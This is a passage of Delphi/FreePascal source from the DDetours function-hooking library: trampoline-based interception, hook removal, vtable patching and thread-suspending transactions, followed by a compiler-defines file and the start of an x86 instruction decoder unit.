      raise DetourException.Create(SErrorTlsOutOfIndexes);
  end;
  Inc(Result, SizeOf(TNextHook));

  { Redirect code to InterceptProc ! }
  InsertJmp(@PDscr^.JmpMems[n], InterceptProc, JT_MEMN, @PDscr^.JmpAddrs[n]);
  { Redirect code to TrampoLine ! }
  InsertJmp(@PDscr^.JmpMems[n + 1], PDscr^.Trampo^.Addr, JT_MEMN, @PDscr^.JmpAddrs[n + 1]);
  { Redirect code to next hook ! }
  InsertJmp(Result, @PDscr^.JmpMems[n + 1], JT_MEMN, PByte(NativeInt(Result) + 6));
  Inc(PDscr^.nHook);

  SetMemPermission(Result, JmpTypeToSize[JT_RIPZ], PAGE_EXECUTE_READWRITE);
end;

function InstallHook(TargetProc, InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte;
var
  P: PByte;
  PDscr: PDescriptor;
begin
  if not Assigned(TargetProc) then
    raise InterceptException.Create(SErrorInvalidTargetProc);

  if not Assigned(InterceptProc) then
    raise InterceptException.Create(SErrorInvalidInterceptProc);

  PDscr := GetDescriptor(TargetProc);
  if not Assigned(PDscr) then
  begin
    P := GetRoot(TargetProc);
    PDscr := CreateNewDescriptor();
    try
      InsertDescriptor(P, PDscr);
    except
      FreeMem(PDscr);
      raise;
    end;
  end;
  Result := AddHook(PDscr, InterceptProc, Param, Options);
end;

procedure RemoveDescriptor(PDscr: PDescriptor);
var
  OrgAccess: DWORD;
  P: PByte;
  sz: Integer;
  vr: Boolean;
begin
  P := PDscr^.OrgPtr;
  sz := PDscr^.Trampo^.Size;

  OrgAccess := SetMemPermission(P, sz, PAGE_EXECUTE_READWRITE);
  try
    SetMemPermission(PDscr^.ExMem, TrampoSize, PAGE_EXECUTE_READWRITE);

    { Restore the old stolen instructions ! }
    Move(PDscr^.Trampo^.PData^, PDscr^.OrgPtr^, PDscr^.Trampo^.Size);

    FillNop(PDscr^.ExMem^, SizeOfAlloc, False);
    FreeMem(PDscr^.Trampo^.PData);
    FreeMem(PDscr^.Trampo);

    if Assigned(PDscr^.ExMem) then
    begin
      vr := InternalFuncs.VirtualFree(PDscr^.ExMem, 0, MEM_RELEASE);
      if not vr then
        RaiseLastOSError;
    end;

    FillNop(PDscr^, SizeOf(TDescriptor), False);
{$IFDEF FIX_MADEXCEPT}
    MadExceptFreeMem(PDscr);
{$ELSE !FIX_MADEXCEPT}
    FreeMem(PDscr);
{$ENDIF FIX_MADEXCEPT}
  finally
    SetMemPermission(P, sz, OrgAccess);
  end;
end;

function RemoveHook(TrampoLine: PByte): Integer;
var
  PNxtHook: PNextHook;
  PDscr: PDescriptor;
  n: Byte;
begin
  if not Assigned(TrampoLine) then
    raise InterceptException.Create(SErrorInvalidTrampoline);

  PNxtHook := GetNextHookPtrFromTrampoline(TrampoLine);
  if not Assigned(PNxtHook) then
    raise InterceptException.Create(SErrorInvalidTrampoline);

  PDscr := PNxtHook^.PDscr;
  if not IsValidDescriptor(PByte(PDscr)) then
    raise InterceptException.Create(SErrorInvalidDescriptor);

  n := PNxtHook^.ID;
  Dec(PDscr^.nHook);

  PDscr^.JmpAddrs[n - 1] := nil;
  { Remove JMP from descriptor table }
  FillNop(PByte(@PDscr^.JmpMems[n - 1])^, SizeOf(TJmpMem), True);

  {
    Return the number of hooks
    that are still alive !
  }
  Result := PDscr^.nHook;

  if Result = 0 then
    RemoveDescriptor(PDscr);

  if ioRecursive in PNxtHook^.InterceptOptions then
    TlsFree(PNxtHook^.TlsRecursionLevelIndex);

{$IFDEF FIX_MADEXCEPT}
    MadExceptFreeMem(PNxtHook);
{$ELSE !FIX_MADEXCEPT}
    FreeMem(PNxtHook);
{$ENDIF FIX_MADEXCEPT}

end;

{ ======================================= InterceptCreate ======================================= }

function InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;
begin
  Result := InstallHook(TargetProc, InterceptProc, Param, Options);
end;

function InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;
var
  P: PByte;
begin
  Result := nil;
  if not Assigned(@TargetInterface) then
    Exit;
  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);
  if Assigned(P) then
  begin
    Result := InterceptCreate(P, InterceptProc, Param, Options);
  end;
end;

function InterceptCreate(const Module, MethodName: string; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer;
var
  pOrgPointer: Pointer;
  LModule: THandle;
begin
  { RRUZ's idea ==> Looks great ! }
  Result := nil;
  LModule := GetModuleHandle(PChar(Module));
  if (LModule = 0) and (ioForceLoad in Options) then
    LModule := LoadLibrary(PChar(Module));

  if LModule <> 0 then
  begin
    pOrgPointer := GetProcAddress(LModule, PChar(MethodName));
    if Assigned(pOrgPointer) then
      Result := InterceptCreate(pOrgPointer, InterceptProc, Param, Options);
  end;
end;

procedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions);
begin
  TrampoLine := InstallHook(TargetProc, InterceptProc, Param, Options);
end;

{$IFDEF SUPPORTS_RTTI}

function InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;
var
  P: PByte;
begin
  { Interface support }
  Result := nil;
  if (not Assigned(@TargetInterface)) or (MethodName = EmptyStr) then
    Exit;

  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);
  if Assigned(P) then
    Result := InterceptCreate(P, InterceptProc);
end;

{$ENDIF SUPPORTS_RTTI}
{ ======================================= InterceptRemove ======================================= }

function InterceptRemove(const TrampoLine: Pointer): Integer;
begin
  if Assigned(TrampoLine) then
    Result := RemoveHook(TrampoLine)
  else
    Result := -1;
end;

{ ======================================= GetHookCount ======================================= }

function GetHookCount(const TargetProc: Pointer): Integer;
var
  PDscr: PDescriptor;
begin
  { Return the number of installed hooks. }
  if Assigned(TargetProc) then
  begin
    PDscr := GetDescriptor(TargetProc);
    if Assigned(PDscr) then
    begin
      Result := PDscr^.nHook;
      Exit;
    end;
  end
  else
    raise InterceptException.Create(SErrorInvalidTargetProc);
  Result := 0;
end;

function GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload;
var
  P: PByte;
begin
  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);
  Result := GetHookCount(P);
end;
{$IFDEF SUPPORTS_RTTI}

function GetHookCount(const TargetInterface; const MethodName: String): Integer; overload;
var
  P: PByte;
begin
  { Interface support }
  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);
  Result := GetHookCount(P);
end;
{$ENDIF  SUPPORTS_RTTI}
{ ======================================= IsHooked ======================================= }

function IsHooked(const TargetProc: Pointer): Boolean;
begin
  Result := GetHookCount(TargetProc) > 0;
end;

function IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload;
var
  P: PByte;
begin
  P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex);
  Result := IsHooked(P);
end;

{$IFDEF SUPPORTS_RTTI}

function IsHooked(const TargetInterface; const MethodName: String): Boolean; overload;
var
  P: PByte;
begin
  { Interface support }
  P := GetInterfaceMethodPtrByName(TargetInterface, MethodName);
  Result := IsHooked(P);
end;
{$ENDIF  SUPPORTS_RTTI}
{ ======================================= Patch ======================================= }

function PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer;
var
  vt: PPointer;
  P, DstAddr: PPointer;
  Q: PByte;
  OrgAccess: DWORD;
  PInfo: PTrampoDataVt;
begin
  {
    NB: PatchVt does not support multi hook !!
    PatchVt will patch only vtable !!
  }
  Result := nil;
  if not Assigned(@TargetInterface) then
    Exit;
  if not Assigned(InterceptProc) then
    Exit;

  try
    vt := PPointer(TargetInterface)^;
    P := vt;
    Inc(P, MethodIndex);
    DstAddr := P^; // address !

    OrgAccess := SetMemPermission(P, 32, PAGE_EXECUTE_READWRITE);
    try
      P^ := InterceptProc;
    finally
      SetMemPermission(P, 32, OrgAccess);
    end;

    Result := InternalFuncs.VirtualAlloc(nil, 32, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    SetMemPermission(Result, 32, PAGE_EXECUTE_READWRITE);
    PInfo := Result;
    PInfo^.vAddr := P;
    PInfo^.Addr := DstAddr;
    Inc(PByte(Result), SizeOf(TTrampoDataVt));

    Q := Result;
{$IFDEF CPUX64}
    { Use JMP RipZero ! }
    PWord(Q)^ := opJmpMem;
    Inc(Q, 2);
    PInt32(Q)^ := $00;
    Inc(Q, 4);
    PNativeInt(Q)^ := NativeInt(DstAddr);
{$ELSE !CPUX64}
    PWord(Q)^ := opJmpMem;
    Inc(Q, 2);
    PUInt32(Q)^ := UInt32(NativeInt(Q) + 4);
    PUInt32(NativeInt(Q) + 4)^ := UInt32(DstAddr);
{$ENDIF CPUX64}
  finally
  end;
end;

function UnPatchVt(const TrampoLine: Pointer): Boolean;
var
  OrgAccess: DWORD;
  PInfo: PTrampoDataVt;
begin
  if not Assigned(TrampoLine) then
  begin
    Result := False;
    Exit;
  end;

  try
    PInfo := PTrampoDataVt(NativeInt(TrampoLine) - SizeOf(TTrampoDataVt));
    OrgAccess := SetMemPermission(PInfo^.vAddr, 32, PAGE_EXECUTE_READWRITE);
    try
      PPointer(PInfo^.vAddr)^ := PInfo^.Addr;
    finally
      SetMemPermission(PInfo^.vAddr, 32, OrgAccess);
    end;
    Result := InternalFuncs.VirtualFree(TrampoLine, 0, MEM_RELEASE);
  finally
  end;
end;

{ ======================================= Trampoline misc =================================== }

function GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId;
var
  PNxtHook: PNextHook;
begin
  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);
  Result := PNxtHook^.threadid;
end;

function GetTrampolineParam(var TrampoLine): Pointer;
var
  PNxtHook: PNextHook;
begin
  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);
  Result := PNxtHook^.Param;
end;

{ ======================================= Recursive Section ======================================= }

function EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean;
var
  PNxtHook: PNextHook;
  RecursionLevel: NativeInt;
begin
  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);
  if ioRecursive in PNxtHook^.InterceptOptions then
  begin
    RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex));
    Result := RecursionLevel <= MaxRecursionLevel;
    if Result then
    begin
      Inc(RecursionLevel);
      TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel));
    end;
  end
  else
    raise DetourException.Create(SErrorRecursiveSectionUnsupported);
end;

function ExitRecursiveSection(var TrampoLine): Boolean;
var
  PNxtHook: PNextHook;
  RecursionLevel: NativeInt;
begin
  PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^);
  if ioRecursive in PNxtHook^.InterceptOptions then
  begin
    RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex));
    Result := RecursionLevel >= 0;
    if Result then
    begin
      Dec(RecursionLevel);
      TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel));
    end;
  end
  else
    raise DetourException.Create(SErrorRecursiveSectionUnsupported);
end;

{ ======================================= Transaction ======================================= }
function CountThreadCallBack(ID: DWORD; Param: Pointer): BOOL;
begin
  Assert(Assigned(Param));
  Inc(PInteger(Param)^);
  Result := True;
end;

function SuspendOrResumeThread(threadid: DWORD; Suspend: Boolean): DWORD;
var
  hThread: THandle;
begin
  hThread := OpenThread(THREAD_SUSPEND_RESUME, False, threadid);
  if hThread <> THandle(0) then
  begin
    if Suspend then
      Result := SuspendThread(hThread)
    else
      Result := ResumeThread(hThread);
    CloseHandle(hThread);
  end
  else
    Result := DWORD(-1);
end;

function SuspendThreadCallBack(ID: DWORD; Param: Pointer): BOOL;
var
  PStruct: PTransactionStruct;
  SuspendCount: DWORD;
begin
  Assert(Assigned(Param));
  PStruct := PTransactionStruct(Param);
  if ID <> PStruct^.TID then
  begin
    SuspendCount := SuspendOrResumeThread(ID, True);
    if SuspendCount <> DWORD(-1) then
    // thread's previously was running  .
    begin
      { Only add threads that was running before suspending them ! }
      PStruct^.SuspendedThreads^[PStruct^.SuspendedThreadCount] := ID;
      Inc(PStruct^.SuspendedThreadCount);
    end;
  end;
  Result := True;
end;

function BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle;
var
  PStruct: PTransactionStruct;
  ThreadCount: Integer;
  P: Pointer;
  ThreadHandle: THandle;
begin
  EnterLook(FLock);
  try
    ThreadHandle := GetCurrentThread();
    PStruct := GetMemory(SizeOf(TTransactionStruct));
    FillChar(PStruct^, SizeOf(TTransactionStruct), #00);
    PStruct^.Options := Options;
    PStruct^.PID := GetCurrentProcessId();
    PStruct^.TID := GetCurrentThreadId();
    PStruct^.ThreadPriority := GetThreadPriority(ThreadHandle);
    SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
    Result := THandle(PStruct);
    if toSuspendThread in Options then
    begin
      ThreadCount := 0;
      EnumProcessThreads(PStruct^.PID, @CountThreadCallBack, @ThreadCount);
      if ThreadCount > 1 then
      begin
        P := GetMemory(ThreadCount * 2 * SizeOf(DWORD));
        PStruct^.SuspendedThreads := P;
        EnumProcessThreads(PStruct^.PID, @SuspendThreadCallBack, PStruct);
      end;
    end;
  finally
    LeaveLook(FLock);
  end;
end;

function EndTransaction(Handle: THandle): Boolean;
var
  PStruct: PTransactionStruct;
  i: Integer;
begin
  EnterLook(FLock);
  Result := True;
  PStruct := PTransactionStruct(Handle);
  try
    if PStruct^.SuspendedThreadCount > 0 then
    begin
      for i := 0 to PStruct^.SuspendedThreadCount - 1 do
      begin
        SuspendOrResumeThread(PStruct^.SuspendedThreads^[i], False);
      end;
      FreeMemory(PStruct^.SuspendedThreads);
    end;
    SetThreadPriority(GetCurrentThread(), PStruct^.ThreadPriority);
    FreeMemory(PTransactionStruct(Handle));
  finally
    LeaveLook(FLock);
  end;
end;

{$IFDEF SUPPORTS_GENERICS}
{ TIntercept<T,U> }

function TIntercept<T, U>.TToPointer(const A): Pointer;
begin
  Result := Pointer(A);
end;

function TIntercept<T, U>.PointerToT(const P): T;
begin
  Result := T(P);
end;

function TIntercept<T, U>.EnsureTIsMethod(): Boolean;
var
  LPInfo: PTypeInfo;
begin
  Result := SizeOf(T) = SizeOf(Pointer);
  if Result then
  begin
    LPInfo := TypeInfo(T);
    if LPInfo.Kind = tkProcedure then
      Exit
    else
      raise DetourException.Create(SErrorInvalidTType);
  end;
end;

constructor TIntercept<T, U>.Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions);
begin
  EnsureTIsMethod();
  FCreatorThreadId := GetCurrentThreadId();
  FInterceptOptions := AInterceptOptions;
  FParam := AParam;
  FTrampolinePtr := InterceptCreate(TToPointer(TargetProc), TToPointer(InterceptProc), @FParam, AInterceptOptions);
  FNextHook := PointerToT(FTrampolinePtr);
end;

function TIntercept<T, U>.GetTrampoline(): T;
begin
  Result := FNextHook;
end;

function TIntercept<T, U>.GetParam(): U;
begin
  Result := FParam;
end;

function TIntercept<T, U>.GetCreatorThreadId(): TThreadId;
begin
  Result := FCreatorThreadId;
end;

function TIntercept<T, U>.GetInterceptOptions(): TInterceptOptions;
begin
  Result := FInterceptOptions;
end;

function TIntercept<T, U>.EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;
begin
  Result := EnterRecursiveSection(FTrampolinePtr, MaxRecursionLevel);
end;

function TIntercept<T, U>.ExitRecursive(): Boolean;
begin
  Result := ExitRecursiveSection(FTrampolinePtr);
end;

destructor TIntercept<T, U>.Destroy();
begin
  InterceptRemove(TToPointer(FNextHook));
  inherited;
end;

{ TIntercept<T> }
constructor TIntercept<T>.Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil;
  const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions);
begin
  inherited Create(TargetProc, InterceptProc, AParam, InterceptOptions);
end;

{$ENDIF SUPPORTS_GENERICS}
{ ======================================= Initialization ======================================= }

procedure InitInternalFuncs();

  function CloneFunc(Func: PByte): PByte;
  var
    mb, ns, Sb, fn: Byte;
    P: PByte;
    Inst: TInstruction;
  begin
    Sb := 0;
    Func := GetRoot(Func);
    Result := VirtualAlloc(nil, 64, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    P := Result;
    mb := JmpTypeToSize[JT_RIPZ];
    FillChar(Inst, SizeOf(TInstruction), #00);
    Inst.Archi := CPUX;
    Inst.NextInst := Func;
    while Sb <= mb do
    begin
      Inst.Addr := Inst.NextInst;
      ns := fDecodeInst(@Inst);
      Inc(Sb, ns);
    end;
    fn := MapInsts(Func, P, Sb);
    Inc(P, fn);
{$IFDEF CPUX64}
    InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_RIPZ);
{$ELSE !CPUX64}
    InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_REL32);
{$ENDIF CPUX64}
  end;

begin
{$IFDEF HOOK_INTERNAL_FUNCTIONS}
  @InternalFuncs.VirtualAlloc := CloneFunc(@VirtualAlloc);
  @InternalFuncs.VirtualFree := CloneFunc(@VirtualFree);
  @InternalFuncs.VirtualProtect := CloneFunc(@VirtualProtect);
  @InternalFuncs.VirtualQuery := CloneFunc(@VirtualQuery);
  @InternalFuncs.FlushInstructionCache := CloneFunc(@FlushInstructionCache);
  @InternalFuncs.GetCurrentProcess := CloneFunc(@GetCurrentProcess);
{$ELSE !HOOK_INTERNAL_FUNCTIONS}
  @InternalFuncs.VirtualAlloc := @VirtualAlloc;
  @InternalFuncs.VirtualFree := @VirtualFree;
  @InternalFuncs.VirtualProtect := @VirtualProtect;
  @InternalFuncs.VirtualQuery := @VirtualQuery;
  @InternalFuncs.FlushInstructionCache := @FlushInstructionCache;
  @InternalFuncs.GetCurrentProcess := @GetCurrentProcess;
{$ENDIF HOOK_INTERNAL_FUNCTIONS}
end;

procedure FreeInternalFuncs;
begin
{$IFDEF HOOK_INTERNAL_FUNCTIONS}
  InternalFuncs.VirtualFree(@InternalFuncs.VirtualAlloc, 0, MEM_RELEASE);
  InternalFuncs.VirtualFree(@InternalFuncs.VirtualProtect, 0, MEM_RELEASE);
  InternalFuncs.VirtualFree(@InternalFuncs.VirtualQuery, 0, MEM_RELEASE);
  InternalFuncs.VirtualFree(@InternalFuncs.FlushInstructionCache, 0, MEM_RELEASE);
  InternalFuncs.VirtualFree(@InternalFuncs.GetCurrentProcess, 0, MEM_RELEASE);
  // VirtualFree must be the last one !
  InternalFuncs.VirtualFree(@InternalFuncs.VirtualFree, 0, MEM_RELEASE);
{$ENDIF HOOK_INTERNAL_FUNCTIONS}
end;

initialization

{$IFDEF SUPPORTS_MONITOR}
  FLock := TObject.Create();
{$ELSE SUPPORTS_MONITOR}
  FLock := TCriticalSection.Create();
{$ENDIF SUPPORTS_MONITOR}
GetSystemInfo(SysInfo);
SizeOfAlloc := SysInfo.dwPageSize;
if SizeOfAlloc < (TmpSize + TrampoSize + 64) then
  SizeOfAlloc := (TmpSize + TrampoSize + 64);
{$IFDEF FPC}
OpenThread := nil;
{$ELSE !FPC}
@OpenThread := nil;
{$ENDIF !FPC}
FreeKernel := False;

hKernel := GetModuleHandle(kernel32);
if hKernel <= 0 then
begin
  hKernel := LoadLibrary(kernel32);
  FreeKernel := (hKernel > 0);
end;

if hKernel > 0 then
begin
{$IFDEF FPC}
  @OpenThread := GetProcAddress(hKernel, 'OpenThread');
  @CreateToolhelp32Snapshot := GetProcAddress(hKernel, 'CreateToolhelp32Snapshot');
  @Thread32First := GetProcAddress(hKernel, 'Thread32First');
  @Thread32Next := GetProcAddress(hKernel, 'Thread32Next');
{$ELSE !FPC}
  @OpenThread := GetProcAddress(hKernel, 'OpenThread');
{$ENDIF !FPC}
end;
{ The OpenThread function does not exist on OS version < Win XP }
OpenThreadExist := (@OpenThread <> nil);
InitInternalFuncs();

finalization

if (FreeKernel) and (hKernel > 0) then
  FreeLibrary(hKernel);
FreeInternalFuncs();
if Assigned(FLock) then
  FreeAndNil(FLock);

end.


================================================
FILE: Detour Hooking/Source/DDetoursDefs.inc
================================================
{.$DEFINE HOOK_INTERNAL_FUNCTIONS}   // hook internal functions.

{$IFDEF FPC}
  {$ASMMODE INTEL}
{$ELSE !FPC}

{$T-}

{$IF CompilerVersion >= 17.0}
  {$DEFINE DELPHI_2005_UP}
{$IFEND}

{$IF CompilerVersion >= 18.5}
  {$DEFINE DELPHI_2007_UP}
{$IFEND}

{$IF CompilerVersion >= 20}
  {$DEFINE DELPHI_2009_UP}
{$IFEND}

{$IF CompilerVersion >= 21}
  {$DEFINE DELPHI_2010_UP}
{$IFEND}

{$IF CompilerVersion >= 22}
  {$DEFINE DELPHI_XE_UP}
{$IFEND}

{$IF CompilerVersion >= 23}
  {$DEFINE DELPHI_XE2_UP}
{$IFEND}

{$IF CompilerVersion >= 33}
  {$DEFINE DELPHI_RIO_UP}
{$IFEND}

{$IFDEF DELPHI_2005_UP}
  {$DEFINE SUPPORTS_INLINE}
{$ENDIF}

{$IFDEF DELPHI_XE2_UP}
  {$DEFINE SUPPORTS_RTTI}
  {$DEFINE SUPPORTS_GENERICS}
  {$DEFINE RENAMED_NAMESPACE}
{$ENDIF}

{$ENDIF FPC}



================================================
FILE: Detour Hooking/Source/InstDecode.pas
================================================
// **************************************************************************************************
// x86 Instruction Decode Library
// Unit InstDecode
// https://github.com/MahdiSafsafi/DDetours
//
// This Source Code Form is subject to the terms of the Mozilla 
// Public License, v. 2.0. If a copy of the MPL was not distributed 
// with this file, You can obtain one at
// https://mozilla.org/MPL/2.0/.
// **************************************************************************************************

{ ===============================> CHANGE LOG <======================================================
  ==>  Jun, 7, 2020:
  +Added support for older Delphi version (D7+).
  +Added support for FPC.
  +Fixed some bug related to displacement.
  
  ==>  Dec 27,2014 , Mahdi Safsafi :
  +BugFix : IN/INS/OUT/OUTS instructions decoding.
  +BugFix : MOV with offset instructions decoding.

  ==> Version 2:
  +Updated opcodes map .
  +Added support to three byte escape Table
  +Added support to vex decoding (vex three & two byte).
  +Added support to groups opcodes instructions.
  +Added support to decode invalid opcode .
  +Added support to 16-bits ModRm .
  +Added support to handling errors.
  +Added support for mandatory prefixes.
  +Improve Decoding Process .=> Very faster than the old one !
  +Reduce memory usage .
  +Removing inused fields.
  +Better support for REX prefix.
  +Reduce OpCodesTable data size (the old : 8670 bytes => the new one : 1020 bytes !)
  +BugFix : FPU instructions length.
  +BugFix : Instructions that use two immediat .
  +BugFix : Invalid instructions .
  +BugFix : Invalid instructions for some mandatory prefixes.
  +Many Bug Fix.

  ====================================================================================================== }

unit InstDecode;

{$IFDEF FPC}
{$MODE DELPHI}
{$HINTS OFF}
{$WARN 4056 OFF}
{$WARN 4082 OFF}
{$ENDIF FPC}

interface

{$I DDetoursDefs.inc}

uses
  SysUtils,
  LegacyTypes;

const
  { CPUX }
  CPUX32 = $00; { x86-32 }
  CPUX64 = $01; { x86-64 }
  CPUX = {$IFDEF CPUX64}CPUX64 {$ELSE}CPUX32 {$ENDIF};

  { Address Mode }
  am16 = $01; { 16-bit addressing mode }
  am32 = $02; { 32-bit addressing mode }
  am64 = $03; { 64-bit addressing mode }
  { Default Addressing Mode Depending on CPUX (32/64)bit }
  DefAddressMode: array [0 .. 1] of Byte = (am32, am64);
  { Used to select Addressing Mode when Address Mode Prefix is used ! }
  AddressMode: array [0 .. 1] of Byte = (am16, am32);

  { Tables }
  tbOneByte = $01; { One Byte OpCodes Table }
  tbTwoByte = $02; { Two Byte OpCodes Table }
  tbThreeByte = $03; { Three Byte OpCodes Table }
  tbFPU = $04; { FPU OpCodes Table }

  { Prefixs }
  Prf_Seg_CS = $01;
  Prf_Seg_DS = $02;
  Prf_Seg_ES = $04;
  Prf_Seg_GS = $08;
  Prf_Seg_FS = $10;
  Prf_Seg_SS = $20;
  Prf_OpSize = $40;
  Prf_AddrSize = $80;
  Prf_Lock = $100;
  Prf_Repe = $200;
  Prf_Repne = $400;
  Prf_Rex = $800;
  Prf_VEX = $1000;
  Prf_Vex2 = Prf_VEX or $2000;
  Prf_Vex3 = Prf_VEX or $4000;

  { Segment Registers }
  Seg_CS = $01;
  Seg_DS = $02;
  Seg_ES = $03;
  Seg_GS = $04;
  Seg_FS = $05;
  Seg_SS = $06;

  { OpSize }
  ops8bits = $01;
  ops16bits = $02;
  ops32bits = $04;
  ops48bits = $06;
  ops64bits = $08;
  ops128bits = $10;
  ops256bits = $20;
  ops512bits = $40;

  { OpType }
  otNone = $00;
  otRET = $01; { RET Instruction }
  otCALL = $02; { CALL Instruction }
  otJMP = $04; { JMP Instruction }
  otJ = $08;
  otJcc = $10; { Conditional JUMP Instruction }

  { OpKind }
  kGrp = $01;
  // kFPU = $02; Use OpTable !

  { Options }
  DecodeVex = $01;

  { ModRm Flags }
  mfUsed = $80; { ModRm Used }

  { Sib Flags }
  sfUsed = $01; { Sib Used }

  { Displacement Flags }
  dfUsed = $01; { Disp Used }
  dfRip = $02; { RIP Disp }
  dfSigned = $04; { Displacement can be signed ! }
  dfDispOnly = $08; { Displacement Only without registers ! }
  dfOffset = $10; { Offset coded after the opcode. }

  { Immediat Flags }
  imfUsed = $01; { Imm Used }

  { Branch Flags }
  bfUsed = $01; { JUMP/CALL Used }
  bfRel = $02; { Relative Branch }
  bfAbs = $04; { Absolute Branch }
  bfIndirect = $08; { Indirect Branch }
  bfReg = $10;
  bfFar = bfAbs or $20; { Far Branch }
  bfRip = $40;

  { Operand Flags }
  opdD64 = $01;
  opdF64 = $02;
  opdDf64 = $03;
  opdDv64 = $04;

  { Options }
  UseVA = $01;

  { General Purpose Registers }
  rEAX = $00;
  rECX = $01;
  rEDX = $02;
  rEBX = $03;
  rESP = $04;
  rEBP = $05;
  rESI = $06;
  rEDI = $07;

  { Error }
  NO_ERROR = $00;
  INVALID_CPUX = $01;
  INVALID_ADDRESS = $02;
  INVALID_INSTRUCTION_LENGTH = $04;
  ERROR_DISP_SIZE = $08;
  ERROR_IMM_SIZE = $10;
  ERROR_VEX_ESCAPE = $20;
  INVALID_GROUP_OPCODE = $40;

  UnknownErrorStr = 'Unknown Error';
  InstErrorsStr: array [0 .. 7] of String = (
    { NO_ERROR }
    'No error',
    { INVALID_CPUX }
    'Invalid cpux',
    { INVALID_ADDRESS }
    'Invalid address',
    { INVALID_INSTRUCTION_LENGTH }
    'Invalid instruction length',
    { ERROR_DISP_SIZE }
    'Invalid displacement size',
    { ERROR_IMM_SIZE }
    'Invalid immediat size',
    { ERROR_VEX_ESCAPE }
    'Invalid vex mmmmm field',
    { INVALID_GROUP_OPCODE }
    'Invalid group opcode');

  _vex3_ = $03;
  _opcode_ = $01;
  _modrm_ = $01;
  _sib_ = $01;
  _disp32_ = $04;
  _imm32_ = $04;
  _imm64_ = $08;
  { Intel define instruction length as a 15 bytes !
    However , it's possible to incode instructions
    that exceed the defined length !
  }
  MAX_INST_LENGTH_X32 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm32_;
  MAX_INST_LENGTH_X64 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm64_;
  CPUX_TO_INST_LENGTH: array [0 .. 1] of ShortInt = (MAX_INST_LENGTH_X32, MAX_INST_LENGTH_X64);
{$IFDEF CPUX64}
  MAX_INST_LENGTH_N = MAX_INST_LENGTH_X64;
{$ELSE !CPUX64}
  MAX_INST_LENGTH_N = MAX_INST_LENGTH_X32;
{$ENDIF CPUX64}

var
  { Raise Exception When Error Occurs ! }
  RaiseExceptionOnError: Boolean = True;

type
  InstException = class(Exception);

  TModRM = record
    iMod: Byte; { ModRm.Mod Field }
    Reg: Byte; { ModRm.Reg Field }
    Rm: Byte; { ModRm.Rm Field }
    Value: Byte; { ModRm Value }
    { ModRm.Flags => See ModRmFlagsTable.inc }
    Flags: Byte;
  end;

  PModRM = ^TModRM;
  LPModRM = PModRM;

  TSib = record
    Scale: Byte; { SIB.Scale Field }
    Index: Byte; { Register Index }
    Base: Byte; { Register Base }
    Value: Byte; { SIB Value }
    Flags: Byte; { SIB Flags }
  end;

  PSib = ^TSib;
  LPSib = PSib;

  TImmediat = record
    Size: Byte; { Size of Immediat => opsxxxbits }
    Value: Int64; { Immediat Value }
    Flags: Byte; { Sets of imfxxx }
  end;

  PImmediat = ^TImmediat;

  TDisplacement = record
    Size: Byte; { Size of Displacement => opsxxxbits }
    Value: Int64; { Displacement Value }
    Flags: Byte; { Sets of dfxxx }
  end;

  PDisplacement = ^TDisplacement;

  TBranch = record
    Size: Byte;
    Value: Int64;
    Target: PByte; { Destination Address }
    Falgs: Byte; { Sets of bfxxx }
  end;

  PBranch = ^TBranch;

  TRex = record
    R: Boolean; { REX.R Field }
    X: Boolean; { REX.X Field }
    B: Boolean; { REX.B Field }
    W: Boolean; { REX.W Field }
    Value: Byte; { REX Value = [$40..$4F] }
  end;

  PRex = ^TRex;

  TVex = record
    {
      ==================> N.B <==================
      1 => ALL FIELD ARE IN NO INVERTED FORM !
      2 => VEX.[R,X,B & W] ARE ACCESSIBLE THROUGH REX FIELD !

    }
    vvvv: Byte; { VEX.vvvv ==> Vector Register }
    L: Boolean; { VEX.L ==> You should use VL instead ! }
    PP: Byte; { VEX.PP ==> Implied Mandatory Prefixes }
    mmmmm: Byte; { VEX.mmmmm ==> Implied Escape }
